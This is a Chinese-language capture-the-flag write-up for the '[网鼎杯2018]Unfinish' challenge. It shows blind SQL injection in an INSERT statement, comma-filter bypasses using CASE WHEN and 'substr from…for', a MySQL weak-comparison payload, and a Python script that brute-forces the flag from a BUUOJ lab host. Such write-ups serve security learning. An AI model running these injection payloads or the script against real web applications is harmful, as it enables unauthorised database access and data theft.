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在本页
  • [网鼎杯2018]Unfinish
  • 考点
  • wp
  • 小结
在GitHub上编辑
  1. SQL注入

[网鼎杯2018]Unfinish

上一页[Black Watch 入群题]Web下一页[NCTF2019]SQLi

最后更新于3年前

[网鼎杯2018]Unfinish

考点

  • insert中的盲注

  • MySQL的弱比较

wp

扫描存在register.php,随便注册登录进去是一张图片。有注册也有登录,可以试试注入

在注册处用户名填\'select-,发现返回的用户名是'select-

如果注册处用户名是1234",会302跳转,如果是1234'就还会是注册页面,这说明是用'闭合语句的。并且如果语句执行失败会是注册页面。

可以猜出来后端代码

insert into table (id,email,name,pass) values (1,'123@qq.com','123','123')
select name from table where email='123@qq.com'

传入0'or 0 or '0,name返回的是0。传入0'or 1 or '0返回的是1。

先构造insert的报错注入,' or updatexml(1,concat(0x7e,database()),0) or ',结果返回nnnnoooo!!!

经过一番尝试,发现是过滤了,,那就不能用if语句盲注,可以用case when

payload

0'or (select case ascii(substr(database() from 1 for 1)) when 119 then 1 else 0 end) or '0

用ASCII码逐个爆破即可,可以得到数据库web,但是这里ban了information

import re
import string
import requests
import time

table = string.digits+string.ascii_letters+'_{}-'


flag = ''
for i in range(1,50):
    for j in table:
        # 防止请求次数太多
        time.sleep(0.3)
        paylaod = f"0'or (select case ascii(substr((select * from flag) from {str(i)} for 1)) when {ord(j)} then 1 else 0 end) or '0"
        
        name = str(time.time())
        data = {
          'email': f'1234567890{name}@qq.com',
          'username': paylaod,
          'password': '123'
        }
        
        response1 = requests.post('http://3b088f53-2ed9-4a06-b297-024436308dbb.node4.buuoj.cn:81/register.php',data=data)
        
        data_log = {
          'email': f'1234567890{name}@qq.com',
          'password': '123'
        }
        
        response2 = requests.post('http://3b088f53-2ed9-4a06-b297-024436308dbb.node4.buuoj.cn:81/login.php',data=data_log)
        
        try:
            # re.DOTALL匹配包括回车在内的所有字符
            t = re.search('<span class="user-name">.*</span>',response2.text,re.DOTALL)
            tt=re.search('\d+',t.group())
        
            if tt.group()=='1':
                flag = flag + j
                print(flag)
                break
            else:
                pass
        except:
            continue

还有一种方法是用sql的弱比较,会把'0'+119+'0'这种做加法运算,payload如下

0'+ascii(substr(database() from 1 for 1))+'0。这会在name处回显查询的值

小结

  1. insert语句中可以使用0'or 0 or '0根据返回结果判断盲注是否存在

  2. 在substr函数的,被过滤时,可以使用from 1 for 1

  3. 在if被过滤时,可以使用case when。0'or (select case ascii(substr(database() from 1 for 1)) when 119 then 1 else 0 end) or '0

  4. MySQL存在弱比较,会把'0'+119+'0'做加法运算。0'+ascii(substr(database() from 1 for 1))+'0